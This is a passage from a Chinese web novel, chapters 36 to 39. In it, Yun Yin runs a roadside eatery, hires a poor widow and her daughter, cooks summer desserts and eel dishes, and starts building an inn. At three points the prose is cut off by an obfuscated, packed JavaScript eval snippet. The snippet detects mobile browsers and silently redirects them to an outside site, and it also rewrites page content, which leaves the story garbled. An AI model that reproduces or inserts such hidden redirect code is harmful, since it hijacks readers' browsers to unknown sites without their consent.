郑桂兰见云音久久不说话，也意识到她的桃子卖不出去，就在她沮丧时，听到云音问：“你这是要做黄豆酱？” 郑桂兰随意抬头看了眼，看她指向旁边晒着的霉豆子，她无精打采道：“是啊，趁着天气好做点酱，我们家贫，做菜时只能放大酱，也能省点盐。” 云音闻了闻她晒着的霉豆子，那股臭臭的味道很浓郁，也很正宗。 “你家里有做好的黄豆酱吗？能给我尝尝吗？” 郑桂兰不知道她怎么突然想吃她家豆子，虽然这娘子并不打算买她的桃子，还是进屋拿了一碗酱出来：“这个很咸的，我平时做菜只用一点。” 云音用筷子夹了一点放进嘴里，浓郁的豆香和酱香融合，味道鲜美醇厚，咸咸的味道中带了点豆子的香，非常下饭。 尝过郑桂兰做的黄豆酱，她道：“你们家黄豆酱卖吗？我可以买你做的黄豆酱。” 他们家的桃子味道确实一般，但做的酱极具风味，比她之前在县里买的酱也不差多少。 “您真的要买我这酱？”郑桂兰不可置信道，“这酱做起来很简单啊，大家都是拿东西找我换的，这酱也不值钱。” 云音道：“我很喜欢你做的酱，正好我开饭馆，经常要用到酱，所以想找你买一点，你有多的酱吗？” 郑桂兰还没反应过来，一旁的陈金花把她拍醒，连声道：“有的，桂兰家别的不多，酱可多了。” 郑桂兰被她拍醒，赶紧道：“是，我家里还有不少酱，娘子要多少？” 云音从她搬出来的坛子中随意挑选一坛，打开尝了尝味道依旧很好，她颔首道：“先来1斗吧，后面若是还需要，我再找你买。” “县城里的酱卖50文一斗，我也按照这个价格给你，你觉得如何？” 郑桂兰愣在原地，她没想到竟能卖50文，她女儿见娘亲没有反应，直接跪下行礼道：“多谢娘子，多谢娘子。” 云音眼疾手快把方荷拉起来道：“好了，不用行礼，我买酱是因为你娘做的酱味道确实好，不用感激我。” 方荷人虽小确实知道一些道理的，若是真的值钱，怎么不见其他人花钱买他们家的酱，还是云娘子人好，才愿意买酱。 云音买完酱，又把需要的水果各买一筐，明日一早村长会帮忙把这些水果送到对面，这样也能省她不少功夫。 云音与郑东告辞，约定好等葡萄成熟，再过来一趟。就在她要走时，一道矮小的身影从树林里窜了出来，把郑东吓了一跳。 36. 第36间客栈 “阿荷，你做什么？”郑东没好气冲着跑过来的方荷吼道，“知不知道这样突然出现，会把人吓死的，你要是吓到云娘子可怎么办。” 云音表示她并没有被吓到，她早就发现这个小小人的身影，只是不知她要干什么，一直没有问罢了。 方荷走到云音身前，跪下道：“云娘子，你买下我吧，我吃的不多，很好养活的。” 这次云音是真的被她吓住了，赶紧把她提起来道：“好好说话，别动不动就跪，你娘人呢？怎么让你跑出来了。” “我刚刚不是买了酱，以后我这里需要酱，都会找你娘买的，你不用担心她养不活你。” 方荷垂眸道：“可是有我在，我娘没办法嫁人，她一个人养我太辛苦了，我不想拖累她。” 云音被她的懂事惊到，怪不得人们常说，穷人家的孩子早当家，连她一个八岁的小孩，已经考虑养家的事情，还知道卖身，虽然不知她从哪里听来的，但她还是对方荷道： “阿荷，若我是坏人，你知道我拿到你的身契会做什么吗？我会压榨你，直到你最后一丝骨髓也被榨干，你一辈子都不能挣脱。” 方荷被她此时的神情吓到了，连一旁的郑东也打了个抖道：“云娘子，你这也太吓人，若不是我知道你的为人，我都被你唬住了。” 云音耸耸肩道：“我也不是唬你们的，我也听过不少这样的事情，所以阿荷，不要随便卖身给别人。” 方荷摇摇头道：“我只卖身给你，我知道你是好人，我想跟着你，不想拖累我娘。” 云音：“阿荷，你知道吗，若是贩卖10岁以下的孩童会受刑，不论是买的人，还是卖的人都会受到惩罚，比如你自卖自身，你娘亲也会受到惩罚。” 方荷一脸失望，她哭着道：“那我要怎么办？就算娘子买我们家的酱，我们还是缺钱，之前我病了一场，娘亲辛辛苦苦攒的钱全用完了，我和娘亲辛辛苦苦种地，也只能吃三分饱，卖酱的钱娘亲肯定不舍得拿去买米，她说要给我存嫁妆。” “若是日后娘也生病，我担心她不愿意花钱治，我只有娘亲一个亲人，我不想发生这样的事情，我却一点办法都没有。” “我不想拖累娘亲，不想让她给我存嫁妆，但她觉得女孩子就应该有嫁妆，她当年没有嫁妆，被方家的人瞧不起，后来还把我娘赶出来了。” 郑东不理解：“桂兰嫂子怎么会跟你说这些，我们贫穷人家哪里有能力置办嫁妆，能有一床被子，一个箱子也是很好的嫁妆了。她是遇人不淑，你日后的夫君肯定不会这样。” 云音也上前安慰她，见方荷仍旧抽泣不止，她对郑东道：“不然去叫她娘亲？” 二人还没行动，郑桂兰风风火火跑了过来，看到方荷好好的，松了口气一巴掌拍在她屁股上：“你这妮子跑哪去了，让我好找。” 郑东在一旁咳嗽一声，把刚刚的事情讲给郑桂兰听，他道：“嫂子，你可要好好说说阿荷，这怎么能随便卖身呢。” 郑桂兰眼泪簌簌落下，她哭泣道：“都是我不好，肯定是我之前说话被她听见了，她以为我要卖她。” 她抱着方荷哭道：“娘怎么会卖你呢，我之前问秀嫂子，也是想看看能不能去别人家里做事，并不是要卖你。” 方荷黑溜溜的眼睛里很是认真，她道：“我知道，阿娘，我知道你不想卖我，也不想送我回大竹村，但你养我太辛苦了，若是云娘子能买下我，我也能帮衬你。” 郑桂兰的眼泪压根停不了，倒是年纪小的方荷早就打定主意，她直直看向云音：“云娘子，你能买下我吗？” 云音看着那双早熟的眼睛，她叹口气道：“我这里没有什么活计能用得上你，实在抱歉。” 她看了眼伤心不已的郑桂兰，又实在怜惜方荷如此小的年纪，便要为生计犯愁，还是不忍心道：“或许我可以雇佣你娘，平日帮忙看顾饭馆，洗菜洗碗这些琐碎的事情，一个月工钱三百文，如何。” “当然，买酱的钱我仍然会照付，你到时候可以直接在我店里做酱，也省了搬运的功夫。” 云音到底还是生了怜悯之心，她之后会建客栈，总归是需要用人的，用郑桂兰也不错。 郑桂兰万万没想到这样的好事竟然落在自己头上，她这次机灵几分，迅速道谢道：“那就多谢云娘子，我一定好好干。” 云音颔首道：“你明日可以过去上工，若是不放心阿荷，也可以把她带上。” 郑桂兰再次感谢，连一旁的郑东也羡慕不已：“这可是个好差事，桂兰嫂子你可要好好做，别辜负云娘子一片好意。” “我知道，我会好好做的，不让云娘子的钱白花。” 翌日一早，云音买的水果也到了，她检查之后没什么问题，把剩余的钱给了郑东，而郑桂兰也带着方荷一起到了。 云音带她与张林互相认识，对张林道：“以后洗菜洗碗的事情可以交给她，你负责拉面卖面。” 张林点头应下，郑桂兰也很有眼色，立马帮忙收拾桌子。云音让方荷去一旁玩，她叫来郑桂兰道：“趁着现在天气好，我们把桑葚洗了，我要晒一些，你过来帮我吧。” 转头又对张林道：“现在天气越来越热，汤面没那么好卖，你少熬点汤，你去后面山上采摘一些槐叶和槐花回来，一会儿做槐叶冷陶。” “还有凉皮可以多准备一点，这个爱吃的人多。” 张林一口应下，云音吩咐完，郑桂兰已经拿盆洗桑葚了，她也挽着袖子一起把那一百斤桑葚洗了。 洗好的桑葚一部分拿去晒成桑葚干，一部分晾干泡酒，另一部分则拿来做果酱，当然新鲜的也不能少，她边晒边往嘴里丢一颗，不一会儿舌头颜色变黑，张开嘴巴能吓死人。 处理完桑葚，云音接着处理杏子，杏子的吃法也很多，除了做果酱、杏仁罐头，还能做杏仁酪。 这一大筐杏子做完留下的杏仁，拿来做这个甜点是再好不过。 泡过一晚的杏仁去皮，加水用石磨磨出汁水，过掉渣后剩下的杏仁水加糯米粉与冰糖加热，一边加热一边搅拌，直到它成了糊状，盛出撒上干桂花，一碗香喷喷的杏仁酪做好了。 杏仁酪细腻柔滑，甜而不腻，吃到嘴里有杏仁的甘甜味，口感非常丝滑，云音做了几碗让众人品尝，郑桂兰连连摆手道：“我怎么能吃，这是娘子拿来卖的。” 云音把碗塞到她手里，又端了一小碗递给方荷道：“做了就是让人吃的，而且我也需要你们尝尝味道。” 郑桂兰还是有些拘谨，见张林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266877|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口吃下，也喂了一勺到嘴里，一入口，杏仁酪顺着喉咙流下，她什么都没尝出来，那勺杏仁酪消散在口中。 她又吃下一勺，这次认真尝了尝，软糯顺滑，嘴里的杏仁香气久久不散，她从没吃过这么好吃的东西，郑桂兰一时只顾得上吃，都不能给云音反馈。 一旁端着小碗的方荷小心翼翼吃着，轻声道：“真好吃，我第一次吃这么甜的东西。” 从没吃过糖的方荷，第一次吃到这么好吃的东西，从此以后在她心中最好吃的便是这道杏仁酪了。 云音见他们吃的都挺开心，打算继续做下一道点心，一旁过来吃面的客人看见他们吃的东西，追问道：“你们吃的什么，怎么这么香。” “是杏仁酪，郎君要尝尝吗？” 那男子被方荷他们的吃相馋到，坐下道：“给我来一碗，再来一份凉皮。” 云音去盛杏仁酪，张林则去拌凉皮，那客人吃完爽口的凉皮，又喝一碗杏仁酪，连炎热的夏季也仿佛变凉爽了。 “娘子，这杏仁酪可以外带吗？我想带回去给我娘子尝尝。” 这男子是隔壁北江县的人，这次也是来龙安县见朋友，恰好路过这里，也是第一次吃到凉皮和杏仁酪，他指了指吃完的凉皮：“若是可以，这个我也想外带一份。” 若是龙安县，距离不算太远，还是能外带的，但隔壁县距离有点太远了，她思考须臾道：“如今天气太热，这食物外带很容易酸掉的。若是你能付一份冰钱，我可以用冰块帮你保鲜。” 这冰块还是罗蔓送来的，他们去年冬天存了不少冰，知道云音没有存冰，特意给她准备的。 那男子知道冰块贵重，好在他家里有钱，付得起一份冰钱，他点头道：“那帮我多准备几份，对了钵仔糕我也要。” 云音回去拿冰，用竹筒装好杏仁酪，放到编好的竹筐中，里面放了不少草席防止温度散的过快。 送走这男子，云音抬头看天，已经不早了，怎么今日来取点心的人还没来。 云音做完午食，来取点心的人才到，许飞擦擦额头上的汗道：“云娘子，让你久等了，天气实在太热了，娘子让我们晚点再来。” “对了，云娘子，娘子们说现在天气太热，不适合吃那些油大的点心，我明日就不过来了。” 云音还打算多卖些点心赚钱呢，听到他的话难掩失望，但天气确实越来越热，想到冰镇的杏仁酪，她笑着道：“没事，你先把点心带回去吧，对了，我今日做了杏仁酪，你带回去让你们娘子尝尝。” “之后我还会做几样夏日点心，你可以早上一早过来取，这样能凉快许多。” 她把用着冰保鲜的杏仁酪装到食盒中：“这里面有冰，小心些。” 许飞点心到手很明显感受到阵阵凉意，被这阵凉意笼罩，他觉得凉快许多，他点头道：“我会告诉娘子们的，若是娘子喜欢，我明日会早点过来的。” 云音看着那人带着食盒坐车离开，希望能让她们喜欢，她正指望她们让自己挣到钱，说到夏日吃的点心，除了凉糕，那就是凉粉了。 凉粉是用一种凉粉果揉搓做成的，这个灌木她之前在山里看到过，可惜这个果子要八九月才能成熟，如今是无法食用了，只能先拿凉糕替代了。 37. 第37间客栈 凉糕自然要比凉粉做法繁琐些，需要把浸泡的大米磨成米浆，之后加入草木灰水一起倒入锅中熬煮，熬煮过程中需要一直搅拌，不然可能一不小心就糊了。 熬好的米浆倒入容器中，静置几小时凝固，凉糕就做好了，吃的时候加入红糖水，也可以用冰冷藏，风味会更佳。 云音尝过做出来的凉糕味道不错，她打算明日一早起来做凉糕，即便镇里的娘子们不吃，卖给过路的人不错，是一道很好的解暑佳品。 翌日天不亮云音就爬起来了，做凉糕就是这点不好，需要把米磨成浆，若是凉粉就则完全不需要，只用把凉粉籽揉搓出黏糊状的液体，静置几小时便可以吃。 可惜现在还不是吃凉粉的时候，只能等八月份凉粉果成熟再去采摘了，现在先用凉糕替代，不过凉糕和凉粉的口感还是不同，云音是只要好吃都喜欢。 做好凉糕，云音又准备了一些杏仁酪，以备不时之需。 天色大亮时，张林去揉面，自从店里做了槐叶冷陶，早上吃这个面条的人越发多了，汤面吃的人少了许多，云音也不用熬那么多骨头汤了，直接做槐叶冷陶，又清凉又好吃。 加入槐叶汁的面色泽翠绿，放入山泉水中浸泡，用熟油搅拌，放入泉水中冷藏，山泉水比一般的水凉快，放入里面能很好保存。 等云音的房子建造起来，她也会打造一口井，井水冬暖夏凉，是用来冰镇水果和冷食的上佳之选，比她用冰块省钱多了，若不是罗蔓送她的冰块，她也用不起冰。 做完凉糕，云音趁着天气凉快继续摘点青梅回来，上次做了话梅，这次主要是做点乌梅，这个用来熬酸梅汤喝，夏天的暑热也消散在那一碗酸甜的酸梅汤中。 乌梅与话梅不同，它需要用烟熏，非常耗费时间，云音打算一次性多做些，留着日后煮酸梅汤喝。 酸梅汤做起来费钱，可以卖给那群有钱人家的娘子，其他人夏天也不能没有解暑的饮品，云音决定再熬一锅凉茶，这个虽然苦，但是解暑效果也很好。 凉茶所需要的药草云音在山里都能采到，而且都是常见品种，她小时候也喝过，不过太苦了，她不爱喝，但每年奶奶都会熬煮一大锅。 采摘回来的忍冬、鱼腥草、车前草等草药洗干净晒干，用大锅熬煮出来过滤汤汁，这便是最简单的凉茶。 小时候喝的凉茶是不加糖的，云音自然也没加糖，凉茶虽苦但解暑效果极佳，云音用大锅装好摆在路边，有人路过时，她会兜售凉茶。 凉茶她卖的很便宜，不过一文钱一碗，路过的人都会选择买一碗，有些人还会装一大竹筒，带着路上喝。五月的天越发炎热起来，赶路的人也避开中午，选择早上和下午赶路。 云音卖着凉茶等着从县里出来的人，太阳刚刚出来时，云音眼尖看到一辆熟悉的马车驶来，云音把一早准备好的食盒拿出来道：“你们娘子吃的如何？” 许飞正是那日及笄礼时坐她身边女子的部曲，平日帮忙她们家娘子过来取点心，也顺便帮其他府里的娘子把点心送去。 许飞眉开眼笑道：“我们娘子很喜欢，近日天气越发热了，娘子没什么胃口，吃了你做的杏仁酪，胃口好了几分，我们娘子还说让我替她感谢你送的水果，那些水果很甜，不知我能不能买一些回去。” 云音挑挑眉道：“你们娘子想买水果，需要多少？” “你送的水果我们娘子都要，各要一筐就好。” 云音颔首道：“行，你明日过来取。” 送走许飞，云音叫来郑桂兰道：“你明日让村里再各送一筐水果过来，我这边帮忙卖出去一些，这一批水果你们市价给我就好，明日有人会过来取。” 郑桂兰正洗着碗，听到这话眼睛亮了，她现在有了工钱，能养活自己和女儿，可村里很多人都没钱，若是这些水果能卖出去，他们也能得到一些钱，争吵也会少一些。 她擦了擦手道：“真的太感谢娘子了，实在不知该如何报答。” 云音摇头道：“我只是推荐给我食客，也是你们水果好，他们愿意买。” 因为天气越来越热，来吃午食的人也越越来越少，她干脆不卖午食，等到下午时再做晚食，那时气温下降，行商也会选择那个时候赶路。 晚上在茅草屋留宿的人也越发多起来，张林要时不时起夜看看，以至于他白天没什么精神，云音只能自己接过早食，让他能多睡一会儿。 而钱四那边的准备工作也做好了，他带着人一大早过来，选好地方，勘测好哪里有地下水，方便打井，全部弄好后开始打地基建房子。 “咦，你们要建房子？”一客商吃着槐叶冷陶好奇道。 “是啊，打算重新建个饭馆，以后你们吃饭也没这么热，冬天也会暖和几分。” 那客商赞同道：“你们家食物好吃也不贵，就是地方太过简陋，我带的人多点都坐不下，是该建个大点的房子。” “对了，你们饭馆日后可以住宿吗？”那客商询问，“若是能住宿，日后错过落脚地，我过来你这边住。” 云音没想到饭馆还没建，便有人询问住宿一事，看来罗蔓和钱工的建议确实很对，她颔首道：“自然可以，我会建两个厢房，一个大通铺，另一个中等房，您可以自己选择住哪里。” 客商满意道：“嗯，挺好的，你们客舍什么时候能建好？” 云音看一眼才开工的钱四等人道：“至少要3个月。” “那夏天早已经过了，这也太久了。” 云音耸耸肩：“没办法，这已经是最快的。” 送走这一行客商，云音拿出晒好用水木灰浸泡过的草棉种子，穿过田野走到刚刚平整过的田地。 此时开垦的田已有不少苗长大开花，再过一个月有些菜能吃了，云音把背篓里的种子种下，一个穴里放一粒种子，等长出苗后再进行移栽，这样能提高出苗率。 种完这一亩棉花，又浇完水，云音腰都要直不起来了，看着满满一块地，虽然很累但很满足，等张林下午有时间，让他把剩下的地种完，五个月之后能收获许多的棉花。 回去时钱四他们也正好收工，他对云音道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281097|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这里的地实在不好挖，杂草也多，今日都没干什么，光割草捡石头了。” 云音无奈道：“这块地的情况确实不好，麻烦您了。” “算了，我收了你的定金，自然会好好做的，不过这片地方水源充足，凿井不用费太多力气，这倒是个好消息。” 这片地方虽然荒凉，但水源确实不缺的，只是就算水源充足，土地也缺少肥料，这里的杂草都长的不好。 虽然她如今有了牛粪，但那点不够她所有地里的肥用的，种棉花又把之前沤的肥用掉，是该找罗蔓买羊粪了，上次她便想提此事，只是当时不方便，这次要好好找她谈一谈。 翌日云音烟熏的乌梅终于好了，花费她两天时间才做好的乌梅，乌梅虽然易得，但烟熏时需要不离人的照看，她和张林两个换着来，终于把乌梅做好。 做好的乌梅肉厚色黑，入口有一股淡淡的烟熏味，吃起来非常酸，最适合做酸梅汤了。 熬制酸梅汤她用的方法是在网上学的，她也试过味道确实很好，往大釜里倒入乌梅、山楂、陈皮、甘草，用大火煮开，再用中火熬制一段时间，倒入另一个放了冰糖的缸里，再加水继续用小火熬，最后将两种汤汁混合，倒入桂花，能熬出正宗的酸梅汤。 喝的时候把桂花过滤掉，这样只剩下厚重的褐色，尝一口又酸又甜，趁着太阳还没出来，云音把这些酸梅糖装好浸在山泉水中，等许飞来时，酸梅汤已经冰镇好。 许飞看到让人口齿生津的酸梅，不禁感叹道：“云娘子会的可真多，饮品每日都不重样。” 云音笑笑道：“这都是应季食物，也是龙安县物产丰富，我才有发挥的余地。” 他递给她一个荷包道：“这是之后半月的点心钱，对了，我家娘子要办赏花宴，想让你帮忙做菜和点心，看你什么时候有空可以去一趟。” 夏家小娘子她听宋萱提起过，与她关系也不错，云音颔首道：“不知她打算什么时候办宴席，我这边需要调整一下时间。” “应该一个月后，那时候正好是荷花盛开的季节，她们要去庄子上赏花，所以想让你做一点荷花酥，也能衬景。” 云音表示明白，“我会空出时间来的。” “叮叮咚咚。”一大早云音伴随着钱四他们的开工声醒来，她洗漱过后穿过溪流到工地前看了看，此时这里已经看不出原本的模样，地基已经开挖，石头也运过来，挖完地基后会那些石头垫墙基，这样能有效放置土墙被雨水浸泡。 云音转头又看到一个工匠正在晒土，听钱四讲解才知道，只有晒过的土拿去做成泥转才能用更久，且他会在泥转之间加入糯米浆，能更好粘合。 这也是为何他收的费用偏贵，他使用的也都是好的材料，云音看了一圈，也不打扰他们干活，把张林煮好的凉茶放在一旁道：“你们若是渴了可以喝凉茶，能解暑的。” 钱四擦擦额头汗水道：“多谢云娘子。” 云音回了前面的饭摊，坐下吃了一碗槐叶冷陶，清清凉凉的面条让她身上的燥热消散，只留槐叶的清香。 38. 第38间客栈 最近一段时间天气一直很好，没有下雨，钱四他们打基地也很顺利，如今已经开始夯土墙了，这个最耗时间，想要建造结实耐用的墙，必须要夯实，非常耗费人力。 云音也只能多给他们准备些消暑的凉茶，让他们避开中午时间，趁着凉快的时候干活。 而自从夏娘子从她这里买了水果后，其他家的娘子也找她买水果，郑东那边还没把水果运到县城卖，倒是她这边帮忙卖出去不少。 听郑桂兰说，村子里的人还是不愿意出那笔钱，郑东实在无法，打算找几个愿意的人分摊，到时候送到县城卖。 “那些不愿意的人以后肯定会后悔。”郑桂兰一边洗菜一边说，“等别人赚到钱了，他们又要埋怨郑东不带他们赚钱。” 云音耸耸肩道：“这也是没办法的事情，没钱的时候一文钱都不敢花，生怕这钱打水漂。” 郑桂兰赞同道：“确实是这样的，如果娘子没有雇我，我也会把钱全部存下来，万一生个病啥的，没钱只能等死了。” “而且我还要养阿荷，不存钱不行的.村里人也是一样，根本不敢随便花钱，谁知道水果能不能卖出去，他们以前也不是没卖过，镇上很少有人会买，大家没赚到钱，更不会出钱。” 云音看着正在与黑豆玩的方荷道：“郑娘子要不要让阿荷学些东西？” 郑桂兰迷茫道：“还要学什么？她现在能洗衣服做饭，以后出嫁也能操持家里家外。” “女孩子还是要学点东西比较好。”她看着短短几天，脸上便多了些肉的方荷，此时她早已没有刚来时的拘谨，又有了几分小孩子的天真活泼。 她意有所指道：“跟你学做酱，或者学些厨艺都行，只要有一门手艺，以后遇到任何事情都不会茫然无措。” “你不就因为会做酱，我才找你买酱的吗。” 郑桂兰回头看一眼笑得灿烂的女儿，沉思片刻道：“我懂云娘子的意思，人要有本事，有本事不怕赚不到钱。那我教她做酱吧，这个也不难。” 云音与她讨论该从哪里学，恰在此时郑东提了两桶东西走过来，与郑桂兰点点头，对云音道：“娘子，我给你送点吃的过来。” “送什么啊，不要这样破费，我这里什么都不缺。” 云音看到桶里的东西后，嘴里的话一顿，迅速换了说辞道：“哎呀，真是谢谢你了，难为你还给我送了虾和黄鳝。” 郑东摸了摸头：“我听林子哥说你想养青虾和黄鳝，想必是很喜欢吃这个的，所以特意抓了一些过来。” 云音望着桶里活蹦乱跳的虾，眼睛笑眯眯，想到她的养殖计划，她追问：“青虾和黄鳝好找吗？” 其实云音更想吃小龙虾，可如今小龙虾还在海外呢，大昭可吃不到，只能吃一吃青虾，虽然与小龙虾风味完全不同，但也很好吃。 郑东帮忙把这些虾和黄鳝装到盆里，听到她询问，回道：“还算好找，小溪里有不少虾，云娘子肯定许久没注意，平溪里也有不少。” 云音倒不是没注意，只是最近吃虾的人少，她也不在溪里抓鱼，许久都没注意小溪里的情况，没想到之前的河虾已经长这么大了。 想到河虾吃的人并不多，也就她和傅望爱吃，她可以不用养太多，到时候自己做了吃一吃，吃不完的可以做成虾丸。 黄鳝她很想养，野外抓黄鳝到底不能保证数量，自己养的话，想吃就能吃，还有螃蟹也可以问问郑东，他们能不能抓到。 郑东：“黄鳝也不难抓，田埂、池塘边有好多，平时我们抓了拿回去煮汤，肉质非常鲜嫩，比鱼还好吃，又没有大刺，只有一根骨头，小孩子吃也不担心。” 云音看着满满一大盆黄鳝，笑眯着眼道：“那好，你可以回村说一声，我这边需要黄鳝，你看看有没有人卖。” 郑东点头道：“云娘子要买，肯定有人愿意卖的，我回去与他们说一声，他们肯定高兴。” “至于螃蟹我要问问，应该也能抓到。” 云音送走郑东，让郑桂兰去切一点蒜沫，她则去把大虾处理干净，没有辣椒做个蒜蓉大虾，比麻辣的味道也不差，当然椒盐虾也要来一份，油闷大虾也不能少，今日吃全虾宴。 一阵鲜香的香气吹来，本来中午不打算吃虾的人，也情不自禁道：“云娘子，你这虾做的也太香了吧，我也要一份。” 云音刚刚应下，旁边一桌也道：“掌柜的，我也要一份虾。” 云音看着接二连三的单子，不禁有些郁闷，她还以为他们不爱吃虾，原来是不爱吃小虾吗？ 她把之前处理出来的虾做好，见没人再要虾了，让郑桂兰按照她刚刚的方法再去处理一些，等她炒虾时，头顶落下一个黑影，把她的光线挡住。 云音抬头看去，惊讶道：“傅郎君这是送完货了？” 傅望闻着飘香的虾味，抿了抿唇道：“是啊，可以好好休息一阵了，这不正好过来你这里吃饭。” “我们老大可是一直念着云娘子的饭呢。”傅望身后站着的王石头笑嘻嘻道，“为了早点回来，路上都不怎么歇息的，不过我也好想念娘子做的饭，老大不说过来，我也要过来吃。” 傅望瞪了王石头一眼道：“是谁上路没多久把蘑菇酱吃完的，又是谁把我后来带的蘑菇酱也吃掉的。” 王石头摸摸鼻子道：“我说的又没错，以前你可是很喜欢在州城吃饭的，每次送完货都要在那里停留几天，这次送完货你就催着我们启程，难道不是为了云娘子的饭回来的。” “老大别不好意思啊，我也爱吃云娘子的菜，这又不是什么坏事。” 傅望不再搭理王石头，对云音笑笑道：“帮我们上几份菜，云娘子做什么都行，你看着安排。” 云音看着盆里的黄鳝问：“傅郎君吃黄鳝吗，若是吃这个，我给你做一份。” 傅望看着盆里游动的黄鳝，点头：“我可以吃，他们你不用管。” 王石头哼了一声道：“说的好像谁不吃似的，以前在军营里，啥没吃过。”他转头对云音道，“云娘子，你别听他的，你做什么我们都吃，我可是想了好久，之前只吃了你做的面，到现在还念着呢。” “对了，云娘子，你们现在还做面吗？要是有面，先给我来一碗。” 云音扬了扬下巴对张林道：“张林给他们做一份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289412|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。” 傅望看着长高些许的张林，对云音道：“看来他已经能帮你不少忙了。” 云音“嗯”了一声道：“确实能帮不少忙，也是多亏他，不仅能帮我做面，还能帮我种田。” 傅望沉默许久才道：“那挺好的。” 云音让他们找个位置坐下，不再与他闲聊，专心处理起黄鳝来。 云音本来没想做复杂的菜色，若今日来的不是傅望，她暂时是不打算卖这道名叫软兜长鱼的菜的，这是一道很有名的菜，是上过国宴的菜肴，做起来有些麻烦。 这菜价格卖便宜了，她吃亏，若是卖太贵，行商也无法接受，这道菜只有卖给喜欢吃的人，或者有钱的人是比较划算的。 实在是这道菜处理起来挺麻烦，但是味道也是一绝。 云音烧一锅热水里面加去腥的葱姜花椒，然后倒入醋和盐，这是去掉黄鳝上的粘液必备的，若是不放，煮出来的鳝鱼会很多粘液。 煮好的热汤透过漏网倒入桶里，黄鳝不动弹之后把汤水一起倒回锅里煮一会儿，直到鳝鱼的嘴张开。 倒出煮好的黄鳝过凉水，然后拿一片竹刀把鳝鱼背上的肉和腹部的肉取下，这一步手一定要稳，动作要快，取下来的鳝鱼肉放好。 云音很喜欢吃黄鳝，为了学如何快速取鳝鱼肉，她也是废了精力学的，取下来的肉完整无破损，然后把鳝鱼血和鳝鱼骨分开放好，之后可以用来做其他菜。 傅望看着云音动作熟练取下鳝鱼肉，也不知做过多少遍，动作行云流水，不一会儿装满一大盆鳝鱼肉。 此时张林做的面也已经好了，傅望看着翠绿的面，挑眉道：“娘子这里也做槐叶冷陶了。” 云音听到他的话，一边取鳝鱼肉一边回：“这不正好是吃槐叶的时候吗，后面有一个很大的槐树，我摘了一些做冷陶。” “天气太热了，吃冷陶凉皮更爽口，你们可以尝尝味道如何。” 傅望尝了一口，凉爽清香，伴着蒜泥和醋的香，让人食欲大开。 凉皮则是不同的爽口，他不一会儿全部吃完，云音看他们动作如此迅猛，连声道：“我菜还没上呢，你们别吃面吃饱了。” 傅望放下筷子喝口水道：“我能吃的下，张林的手艺不错，不知道云娘子做起来又是什么味道，不知有没有这个荣幸尝一尝。” 云音耸耸肩道：“你早上过来尝一尝会发现其实没多大区别，最近早上都是我做面，你没必要专门来一趟，好不容易休息，还是在家待着吧。” 傅望：“那我明日早上过来尝尝云娘子做的冷陶，看看味道是什么样的，云娘子不必担忧，我来吃饭也是一种休息。” 云音见他执意如此，也不好再说，她道：“你们尝尝蒸槐花，也是最后吃槐花的季节，你们再晚点回来，就吃不到今年的槐花了。” 刚出锅的槐花清香扑鼻，沾了蒜泥、芝麻油和醋的槐花吃进嘴里，花香弥漫、口感软糯，吃完让人怅然若失。 “差点错过这么好吃的美食。”傅望漂泊许久的灵魂，仿佛被一份槐花洗涤，看着云音忙个不停，突然觉得这样平淡又富有烟火的生活也不错。 39. 第39间客栈 云音终于处理完做软兜长鱼的食材，想到这处理的黄鳝也可以做响油鳝糊，她又把剩下的黄鳝也处理好，开始烹饪这两道有名的淮扬菜。 要说哪个菜系会做河鲜，那必须要提淮扬菜，淮扬菜非常讲究刀工，雕刻技术是出了名的。而且口感清新温和，尤其注重鲜嫩，所以常常选用河鲜为主材。 云音喜欢吃河鲜，曾经找会做淮扬菜的师傅学过，现在也是有一点心得，所以之前饭馆以什么为主菜时，她最先想到的便是河鲜。 不过云音会做的菜有不少，她也不想局限于只做一种菜系，主要还是看食材是否易得，有什么便做什么，这样来往的客人也不会很快吃腻。 鳝鱼脊背肉焯水过油微炸一下捞出，葱姜蒜炒香倒入料汁调味，加入糖然后把过油的鳝鱼放里面炒一炒，勾芡后加入芝麻油与醋增香。 淮扬菜的一大特色便是加糖，糖能提鲜，让河鲜的鲜味更浓郁，也能使菜肴色泽红亮，同时能平衡菜里的咸味，让菜的味道更加平和和谐。 所以淮扬菜中糖是必不可少的，而软兜长鱼其实还需要加胡椒，能更添风味，但胡椒在大昭实在太贵，云音根本用不起，只能用葱姜调味。 好在这道菜本身已经足够美味，不加胡椒也是可以的，做完软兜长鱼，她继续做响油鳝糊。 响油鳝糊的鳝鱼处理与软兜长鱼不同，不需要油炸，放入葱姜料汁焯水，倒油炒香葱姜炒香，再放入鳝鱼煸炒，然后加入水之后进行调味。 